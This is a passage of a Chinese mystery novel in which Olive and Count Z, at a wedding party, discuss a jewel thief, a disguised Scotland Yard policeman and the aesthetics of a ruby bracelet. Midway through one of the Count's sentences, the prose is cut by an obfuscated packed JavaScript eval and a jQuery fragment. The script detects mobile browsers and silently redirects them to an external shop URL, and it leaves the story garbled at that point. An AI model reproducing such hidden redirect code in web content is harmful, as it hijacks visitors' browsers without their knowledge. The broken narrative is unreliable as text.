奥丽芙吃了一惊，转头去看堂侄。“警察？”
“警察，与子爵扯不上半点儿亲戚关系。”
“这是什么意思？”奥丽芙看了一会儿那人疲沓的步态，又看Z伯爵。
“那儿不是有件稀世珍宝吗？”Z伯爵朝庄园主楼方向示意。那里有间屋子展示新娘收到的礼物，表演完后，所有的珠宝都放在那儿。
“你是说盗贼会来？大白天，当着这么多人偷东西？”奥丽芙很惊讶。
“大盗会在乎白天黑夜，人多不是更方便吗？”Z伯爵好笑地说。
确实，那回马车上丢胸针，就发生在光天化日之下，而上次俄国公爵的戒指，干脆是在人头攒动的舞会上丢的。
“警察知道他要来？”远远地，奥丽芙又打量了“堂侄”先生一通。“怎么派这么个警察？”要论起来的话，那位眼观八方，时刻留意每张桌子的侍者，倒比他更有可能抓住贼。
Z伯爵说：“别太苛求。苏格兰场已经尽力了，他们一定费了老大的劲才找出来这么个不会让人一眼认出是警察的家伙。”
“他们是故意给大盗设了个陷阱，怕他认出警察！”奥丽芙这才醒悟，见Z伯爵笑嘻嘻望着她，很为自己的迟钝不好意思。“你怎么认出来的？”
“当然是凭借头脑。”Z伯爵伸出手指在自己脑袋上点了点，“警方早就急了。他们以为戒备森严，盗贼就不敢下手，他们又想把盗贼引出来，只好使用便衣。你看，咱们的继承人先生寸步不离跟在子爵夫人身旁，却假装不情愿，假装自己对什么都不在意，其实他在暗中观察所有的客人。
“刚才，他走过咱们这边时，你留意没有，他的眼镜片完全是平的。当子爵夫人感谢你的精彩表演时，他透过反光很厉害的镜片瞅你的手，他脑子里面肯定在想：‘这位美丽的小姐把那个大盘子举了三分钟，抖都没抖一下，她的手腕很稳，这是做盗贼必不可少的先决条件。’”Z伯爵玩笑地说。
“他发现可疑的人没有？”奥丽芙好奇道，不由向四周望去。
一位侍者举着托盘，穿梭在客人之中，会是他？不，不可能，作为盗贼，他的神情太紧张了。不过贼这个字可不是写在脸上，这一花园的人，究竟谁会是窃贼？
Z伯爵笑着说：“布莱克小姐，我突然想到：一般来说，从事某一行的人，总是以一眼看上去符合他的职业本色为佳，譬如教师看起来要聪明和蔼，律师最好看上去精明冷酷，商人则是和气生财的模样。唯独警察和罪犯是两个例外，谁若想在这两种事业上取得成功，看上去越不像他扮演的职业角色，越好。”
一瞬间，奥丽芙想到的是杀害父亲的凶手。
从外表、从行为举止看，四个人都不像，倒不是说他们不会杀人，而是，如果他们中的某个犯下杀人罪行，大概早就被发现了——他们似乎谁也没有实施犯罪后，还能冷静遮掩罪行的城府，有时她甚至怀疑凶手在他们之外。
可是，Z伯爵的话猛然点醒了她。若有一个是凶手，难道他的城府不足以让他显得毫无城府？
她应该重新审视一下这几人。是不是真的最不像的那个，就是凶手。那么，谁最不像？——不，这个问题回答不出来，当你认为不像的时候，又像了。
还是以后慢慢想吧，Z伯爵好像还在瞅着她。定定神，奥丽芙说：“你忘了一点，民众需要有能够信赖的人，这时，警察最好还是像个警察。罪犯是唯一的例外。”
Z伯爵对她看了一会儿：“你说得很对，小姐，罪犯是唯一的例外。”
奥丽芙忍不住再去观察周围的人。她发现，在花园另一边，有位三十多岁年纪的先生一个人坐着，面前的桌子上还没有东西。他的模样瞧着很普通，虽然穿得端端正正，可更像是要去办公室，而不是来参加婚礼。他看上去倒是怡然自得，可是，一个男人独个参加婚礼，为什么会这样怡然自得？说不定是他竭力表现出这副样子。奥丽芙把那人指给Z伯爵看。
Z伯爵听了大笑起来：“小姐，你猜错了。我看他肯定来自法律行业，再不然是个簿记员，说不定偶尔在账目上做做假，但绝不可能是大盗。”
这时，一位身材娇小、面容白里透红的太太走到那张桌子坐下，显然，两人是一对夫妻。太太兴高采烈地说着什么，先生一边点头，一边将餐巾铺好，当侍者端来一道菜，他立即埋头大吃。现在再让奥丽芙说，的确，没有谁比那人更不可能是大盗了。
“不用气馁，小姐，你猜得不算差。”Z伯爵笑呵呵说，“若不是我恰好认识这个人，我会同意你。他是赫伯特先生，我想，好像是他去了趟澳大利亚，为安斯蒂子爵探明新郎的产业。”
“照你看，大盗今天会不会来自投罗网？”奥丽芙问。
“这我可说不准，大盗的行为是不可预期的。”Z伯爵觉得有趣地看她一眼，“你希望他们抓住他？”
奥丽芙稍稍犹豫了一下，没有直接回答：“我倒想知道他是怎么办到的。我认为他们应该找个女警察试试，假如安斯蒂夫人允许我，我愿意看看能不能帮点忙。”
Z伯爵爽朗地笑出了声：“没想到这儿还有位自愿充当警察的。这是你的好奇心，还是正义感，布莱克小姐？”
“都不是。”奥丽芙感觉出他的嘲弄，有点儿气恼，“这是公民的责任，每个罪犯都应该被绳之以法。”
“噢，小姐，”Z伯爵用钦佩、赞许的目光望着她，“有时我难免对周围的人和事感到失望。将来，再度灰心的时刻，我要想想你，你让我看到了这个世界光明积极的一面。要是每位公民都有你这样的道德观念和责任感就好了。”
不过，他紧接着又说：“但是今天，我恐怕你期盼的正义是得不到彰显了。我都能看出来的陷阱，莫非那个大盗看不出来？”
“他当然看得出来。但我看，手链依然很危险，大盗不会将个把警察放在眼里。”奥丽芙一心要给Z伯爵泼点冷水，让他别那么得意。
“你是这么想的？”Z伯爵颇为惊奇地瞅着她，“我没料到你对那个小偷评价很高嘛。”
“不，我可不是夸奖他。我是想：犯罪的人都自以为是，总想着多干一票，以为自己永远不会被抓住。其实，他们谁也别想逃脱。”
“是吗？”Z伯爵沉思了一会儿，忽然一本正经地说，“别管大盗是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17005635|192595||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不是自命不凡。反正，若我有偷盗的本事，可不会打那串丑东西的主意。”
奥丽芙一愕。没有一个体面的上等人会假设自己是窃贼，并公然地说出来，也没有人会把价值连城的珠宝叫做“丑东西”。
“你的意思是说，如果另换一件东西，你也想偷？”她笑吟吟问。
“那得看究竟是什么东西，我的原则是，既然要偷，就偷好的。”Z伯爵十分坦然地回答。
“那么，前几件失窃的珠宝呢，你也瞧不上？”
“不，不，那几件都很好。比方说，第一件丢失的钻石项链，据说，那些钻石比星星还亮，还有那块怀表，上面镶着蓝钻石，像……大概像我眼睛这么蓝。”Z伯爵大言不惭道。
“再比如，咱们见过的那位蠢公爵，他的戒指上是一颗亚历山大猫眼，能够变色，所有金绿宝石中最稀有的一种；还有，斯塔福德侯爵夫人的胸针，黄色宝石不算稀罕，可是那一枚足有三十五克拉，这么大的不好找，当初把它镶成太阳的式样，可谓再恰当不过了，主人却想要改个样子。”Z伯爵不赞同地摇头。
“你对珠宝懂得可真不少。”奥丽芙半含讥讽地说。可不是么，这些贵族们，从小见惯了漂亮石头，不懂才奇怪呢。何况这几件案子，都快被人议论烂了——一件事情，但凡涉及巨额的钱财得失，在“高贵”人士中，便是被津津乐道的话题，Z伯爵当然不能免俗。
“但是，那串手链上的红宝石不是很大吗，外加那么多翡翠珠子，它哪里不好？还不够值钱？”奥丽芙又问。
“一样东西的价值不止在于价钱。”Z伯爵的回答有点出乎意料。“我认为手链很丑。它给我的第一印象就是如此。我不知你注意到没有，其它所有画像表演中，首饰与背景、人物都是非常和谐的，而这条手链的出现却极其突兀。
“我不必再提你，就说库珀小姐演的那幅画吧。《戴珍珠耳环的少女》是杰作，功劳有一半来自耳环，或者说，来自画家的技巧和想象力，他将不和谐变为了和谐——本来，一位装束普通的女孩怎会戴上那样的东西？那是只有大洋洲才能采到的最完美的珍珠。”
Z伯爵停下。从他的目光中，奥丽芙看出他的思绪已经不在眼前了。他一定是在回想伊迪丝的样子：要创造那种完美的和谐，不光需要画家的技法，也离不开模特本身——不管是画中的女孩，还是伊迪丝，她们都有珍珠般皎洁无暇的面容，都有动人的表现力和感染力。
片刻后，Z伯爵再次开口：“至于说红宝石和翡翠，这种浓艳的搭配，当然妙不可言——假如在蓬巴杜夫人身上——我从来没崇拜过她，不过我可以理解为什么有人为她痴迷，毕竟，她能给人一种既优雅，又挑逗的感觉。而咱们刚才所见的最后一幅画，毫无这种感觉。这是个美学问题，你认为呢？”
奥丽芙的确不怎么喜欢那条手链。她并非完全从美学角度考虑，她是看到象征财富的手链出现在象征婚姻生活的田园诗一般的画面中，感到刺眼。她还认为，把路易十五的情妇和伊迪丝放在一起称赞，十分粗俗无礼。
她冷冷对Z伯爵说：“你忘了，大盗或许没看画像表演。”